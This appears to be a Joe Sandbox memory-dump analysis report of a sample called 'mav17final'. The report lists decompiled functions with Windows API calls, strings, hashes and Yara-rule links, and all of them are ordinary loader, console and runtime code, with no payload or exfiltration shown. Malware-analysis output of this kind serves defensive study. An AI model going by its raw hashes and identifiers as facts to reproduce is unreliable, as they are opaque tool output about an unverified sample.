LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF79EA473DA

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 0497e94e9ccf1a5fcaefba275e41431edb5a0a8d683527cd1b0ae4e2e1f8841f
Instruction ID: 1f44e614d258935ef7210279a6bdb01db9752bc60917e1ada39bb941023ecec8
Opcode Fuzzy Hash: 0497e94e9ccf1a5fcaefba275e41431edb5a0a8d683527cd1b0ae4e2e1f8841f
Instruction Fuzzy Hash: FB317351B19B8291FA70B731A9D5BBAD251EF98780FC44431DE4E427B6FE2CE5048730

Function 00007FF79EA4D9F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF79EA4DCA6,?,?,?,00007FF79EA4D9A0,?,?,?,?,00007FF79EA4D6BD), ref: 00007FF79EA4DA79
GetLastError.KERNEL32(?,?,?,00007FF79EA4DCA6,?,?,?,00007FF79EA4D9A0,?,?,?,?,00007FF79EA4D6BD), ref: 00007FF79EA4DA87
LoadLibraryExW.KERNEL32(?,?,?,00007FF79EA4DCA6,?,?,?,00007FF79EA4D9A0,?,?,?,?,00007FF79EA4D6BD), ref: 00007FF79EA4DAB1
FreeLibrary.KERNEL32(?,?,?,00007FF79EA4DCA6,?,?,?,00007FF79EA4D9A0,?,?,?,?,00007FF79EA4D6BD), ref: 00007FF79EA4DAF7
GetProcAddress.KERNEL32(?,?,?,00007FF79EA4DCA6,?,?,?,00007FF79EA4D9A0,?,?,?,?,00007FF79EA4D6BD), ref: 00007FF79EA4DB03

Strings

api-ms-, xrefs: 00007FF79EA4DA99

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: e5bb3e0ff291abc656a6d02375c50d9a2203cec5dca119044776a3d77a5dec4f
Instruction ID: 6e264cb343e5c36b68e966c99309783a9045e6f4456c4584c6f948481d1c0921
Opcode Fuzzy Hash: e5bb3e0ff291abc656a6d02375c50d9a2203cec5dca119044776a3d77a5dec4f
Instruction Fuzzy Hash: 5431A531B1EA4295EE32BB22A480A75A3D4FF45BA4F994535DD1D07361EF3CE4458330

Function 00007FF79EA489E0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF79EA48A1A

Part of subcall function 00007FF79EA429E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79EA486F3,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA4101D), ref: 00007FF79EA42A14
Part of subcall function 00007FF79EA429E0: MessageBoxW.USER32 ref: 00007FF79EA42AEC

MultiByteToWideChar.KERNEL32 ref: 00007FF79EA48AA0

Strings

win32_utils_from_utf8, xrefs: 00007FF79EA48A69
MultiByteToWideChar, xrefs: 00007FF79EA48A2E, 00007FF79EA48AB1
Failed to decode wchar_t from UTF-8, xrefs: 00007FF79EA48AAA
Failed to get wchar_t buffer size., xrefs: 00007FF79EA48A27
Out of memory., xrefs: 00007FF79EA48A62

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: a676459dfb3979a77974598a44516e19cf720c6d098cc686ef5965a87a87c41d
Instruction ID: ded927312df3a17ab9e5e3d293dbdc3069457e8f97b54b822044d2d830383f15
Opcode Fuzzy Hash: a676459dfb3979a77974598a44516e19cf720c6d098cc686ef5965a87a87c41d
Instruction Fuzzy Hash: 3A214422B08A4291EB60EB35F880579E7A1FF95BD4B984531DA4C53BB9EF2CD5418730

Function 00007FF79EA6371C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF79EA6374D
GetLastError.KERNEL32 ref: 00007FF79EA63759
CloseHandle.KERNEL32 ref: 00007FF79EA63771
CreateFileW.KERNEL32 ref: 00007FF79EA6379C
WriteConsoleW.KERNEL32 ref: 00007FF79EA637BB

Strings

CONOUT$, xrefs: 00007FF79EA6377D

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3a368fc3de0a3251161d515db59c2712d7bca6ac77a04358f46d14fcb5505a4c
Instruction ID: 1f3ddd59b0c268aff9622446eaeaf41c5fa1aab673e0ec2cebc75fa330c3d768
Opcode Fuzzy Hash: 3a368fc3de0a3251161d515db59c2712d7bca6ac77a04358f46d14fcb5505a4c
Instruction Fuzzy Hash: 29118431B18E418AE760AB62E894B35A6A0FBC9FE4F444234DA5D877B5CF7CD4448760

Function 00007FF79EA42600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF79EA427EF), ref: 00007FF79EA42638
DialogBoxIndirectParamW.USER32 ref: 00007FF79EA426FC
DeleteObject.GDI32 ref: 00007FF79EA4272F
DestroyIcon.USER32 ref: 00007FF79EA42741

Strings

Unhandled exception in script, xrefs: 00007FF79EA42668

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 9b12c34fca385b1e0ebcb8da6f1b4405c5b5feb8525b654c020fb5a481cc6c3a
Instruction ID: 3ebed255250969e0519c601b147b002a431f736ef044844e463731787ba29672
Opcode Fuzzy Hash: 9b12c34fca385b1e0ebcb8da6f1b4405c5b5feb8525b654c020fb5a481cc6c3a
Instruction Fuzzy Hash: CE312E72A09A8289EB30EB31E8955FDA360FF89784F844135EA4E47B69DF3CD105C760

Function 00007FF79EA429E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79EA486F3,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA4101D), ref: 00007FF79EA42A14

Part of subcall function 00007FF79EA48460: GetLastError.KERNEL32(00000000,00007FF79EA42A60), ref: 00007FF79EA48487
Part of subcall function 00007FF79EA48460: FormatMessageW.KERNEL32(00000000,00007FF79EA42A60), ref: 00007FF79EA484B6

Part of subcall function 00007FF79EA489E0: MultiByteToWideChar.KERNEL32 ref: 00007FF79EA48A1A

MessageBoxW.USER32 ref: 00007FF79EA42AEC
MessageBoxA.USER32 ref: 00007FF79EA42B08

Strings

%s%s: %s, xrefs: 00007FF79EA42A6D
Fatal error detected, xrefs: 00007FF79EA42AC0, 00007FF79EA42AFA

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: abe82f00bef99ceab3cd3b2673c8dde2e3029215b6bdb1f563c87e7f7605427b
Instruction ID: 5cad36cb700a26a81886557052978837578c360257d9d347229af5eff1e14bd7
Opcode Fuzzy Hash: abe82f00bef99ceab3cd3b2673c8dde2e3029215b6bdb1f563c87e7f7605427b
Instruction Fuzzy Hash: 83312571628A8191E630BB21E491BFAA364FB847C4F804036E68D47AA9DF3CD245C770

Function 00007FF79EA55AE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF79EA55B04
GetProcAddress.KERNEL32 ref: 00007FF79EA55B1A
FreeLibrary.KERNEL32 ref: 00007FF79EA55B37

Strings

CorExitProcess, xrefs: 00007FF79EA55B13
mscoree.dll, xrefs: 00007FF79EA55AFB

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a7acc4355d879bac73ca0070a96f8c7632362be6a64aaf3ea2d8cf6c7e704423
Instruction ID: db9a1b98cb9269ca7c2f3c645775c3667f86b09553eac7d51de87ab343c3f40b
Opcode Fuzzy Hash: a7acc4355d879bac73ca0070a96f8c7632362be6a64aaf3ea2d8cf6c7e704423
Instruction Fuzzy Hash: 59F03A61A19A0685EF646B30E8C4B78A360EF88F80F851035D55F46574EE2CD488C330

Function 00007FF79EA64CE4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF79EA64D0C
_set_statfp.LIBCMT ref: 00007FF79EA64D27
_set_statfp.LIBCMT ref: 00007FF79EA64D43
_set_statfp.LIBCMT ref: 00007FF79EA64D7F

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: b937517b4f482d0939308dbd49bace3de9952a95ba32e0c18fc8e236c2565ddb
Instruction ID: 0c7ca6fdf0e40c3ba0af4b5f016366a5f8e976d488d73d2b7d1729dfc351f018
Opcode Fuzzy Hash: b937517b4f482d0939308dbd49bace3de9952a95ba32e0c18fc8e236c2565ddb
Instruction Fuzzy Hash: 14111222E58E1385F7783334E8D9B799145FF97B68F944634EABE0A6F68E1CA8414130

Function 00007FF79EA5BAA8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA5BD87

Part of subcall function 00007FF79EA61B88: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA61BA5

Strings

UTF-8, xrefs: 00007FF79EA5BD06
UTF-16LEUNICODE, xrefs: 00007FF79EA5BD25
ccs, xrefs: 00007FF79EA5BCC2

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: ccb95f15847098836496565d61634b0a9897f76ac7b45429749bb7ab022bb6ee
Instruction ID: 482ef05dca9de1b114a0d627aa125bcb30ea047e14bcbe665370b12fd73947bb
Opcode Fuzzy Hash: ccb95f15847098836496565d61634b0a9897f76ac7b45429749bb7ab022bb6ee
Instruction Fuzzy Hash: 2381B072E0860285F7746F3981D0EBDBAA0EF15B86FD58035DA09572B4CF2DE9019B35

Function 00007FF79EA42890 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79EA489E0: MultiByteToWideChar.KERNEL32 ref: 00007FF79EA48A1A

MessageBoxW.USER32 ref: 00007FF79EA42997
MessageBoxA.USER32 ref: 00007FF79EA429B3

Strings

%s%s: %s, xrefs: 00007FF79EA42918
Fatal error detected, xrefs: 00007FF79EA4296B, 00007FF79EA429A5

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 7762545bfdab7d4dcf66979fd066f08ead0e9605e06221d549922be69e8cbe44
Instruction ID: 7267e8348452a56d0109d5779c42ef618e257fdb78e11b65e39ad28d86054494
Opcode Fuzzy Hash: 7762545bfdab7d4dcf66979fd066f08ead0e9605e06221d549922be69e8cbe44
Instruction Fuzzy Hash: 82311471628A8191E630BB21E491BFAA764FB947C4FC04435EA8D47AA9DF3CD205CB74

Function 00007FF79EA43E90 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF79EA439BA), ref: 00007FF79EA43EC1

Part of subcall function 00007FF79EA429E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79EA486F3,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA4101D), ref: 00007FF79EA42A14
Part of subcall function 00007FF79EA429E0: MessageBoxW.USER32 ref: 00007FF79EA42AEC

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF79EA43EFA
GetModuleFileNameW, xrefs: 00007FF79EA43ED2
Failed to get executable path., xrefs: 00007FF79EA43ECB

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: fbc692f4baafbe859fca0023d07415701a2e0dd3eaf1b7cf8d95a3283e939708
Instruction ID: 58651aa3a883e562c273f4fa5a437abf17ba7cf765e9036e3fedf011f3910368
Opcode Fuzzy Hash: fbc692f4baafbe859fca0023d07415701a2e0dd3eaf1b7cf8d95a3283e939708
Instruction Fuzzy Hash: 57018461B19A4295FA70B735E896BB992E1EF4C780FC00031E94D862B7FE5CE1098730

Function 00007FF79EA621C4 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA62205
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA62285
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA622D9
_get_daylight.LIBCMT ref: 00007FF79EA62331

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 36b426960828c7d9f54d9ae6d583415da6549470ad10fa493736d6e8dab543fb
Instruction ID: 4b5c31e8eef13d8d5fa3a4ace19fc23a826e50f80e5a496056f6249f490c07ec
Opcode Fuzzy Hash: 36b426960828c7d9f54d9ae6d583415da6549470ad10fa493736d6e8dab543fb
Instruction Fuzzy Hash: 1751D132D0CA0246F7787B38A484BBDE680EB5BF14F994134CA49466F6CF3CE8408671

Function 00007FF79EA5173C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF79EA5176F
GetFileInformationByHandle.KERNEL32 ref: 00007FF79EA517D1
GetLastError.KERNEL32 ref: 00007FF79EA51862
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF79EA5167F), ref: 00007FF79EA518AE

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 35b39605cee2f0bec39b1907a2341c6141e62181e74802fd53fc0af55d5f4a9a
Instruction ID: d1a786517f6e61b59d4db21e81330edea95941f751ef144b7b2f734fdb2fb473
Opcode Fuzzy Hash: 35b39605cee2f0bec39b1907a2341c6141e62181e74802fd53fc0af55d5f4a9a
Instruction Fuzzy Hash: AF518E22E04A418AFB30EF719490BBDB3A1EB68B58F958575DE0D476A9DF38D4818370

Function 00007FF79EA42330 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF79EA42364
SetWindowLongPtrW.USER32 ref: 00007FF79EA42386
GetWindowLongPtrW.USER32 ref: 00007FF79EA423B0
InvalidateRect.USER32 ref: 00007FF79EA423D0

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 222d2908f78c2ae87f40d4d29d421000ec4f5a81934d325a3cc9435ab5a32f74
Instruction ID: 59276936feb21fbb02c66ecd09449a3bb1d9af045df756eb5cf9806d91160dcf
Opcode Fuzzy Hash: 222d2908f78c2ae87f40d4d29d421000ec4f5a81934d325a3cc9435ab5a32f74
Instruction Fuzzy Hash: 3411AC21E1854142F774A779F58467992A1EFC9B80FC48031DA4906BBDDE3CE4C54730

Function 00007FF79EA4F300 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4F336
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4F4FE

Strings

, xrefs: 00007FF79EA4F486

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 561aa88df7fdb61349e0ce58f807f1a8352d02f5797fb50474d80bf85903fc07
Instruction ID: 0f8cbeae50527ff90205fb5ec5fa2dc8437e7bc300a0ad1f06fd53c6659cbc1b
Opcode Fuzzy Hash: 561aa88df7fdb61349e0ce58f807f1a8352d02f5797fb50474d80bf85903fc07
Instruction Fuzzy Hash: 1A51647A91C60A86E774AF3880C4B7CB7A5FB15B19F943135C60A422B5EF2CE485C731

Function 00007FF79EA59DBC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA59DFF

Strings

gfff, xrefs: 00007FF79EA59F21
e+000, xrefs: 00007FF79EA59EA4

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 814d447ac16e6b6f5b3f52da07250c54334cccc87630bfda28cdf0e87c86ffba
Instruction ID: bc685cceece1a3424a9a3caf44052dfd9322effcbb06869931d7ff423270ce0b
Opcode Fuzzy Hash: 814d447ac16e6b6f5b3f52da07250c54334cccc87630bfda28cdf0e87c86ffba
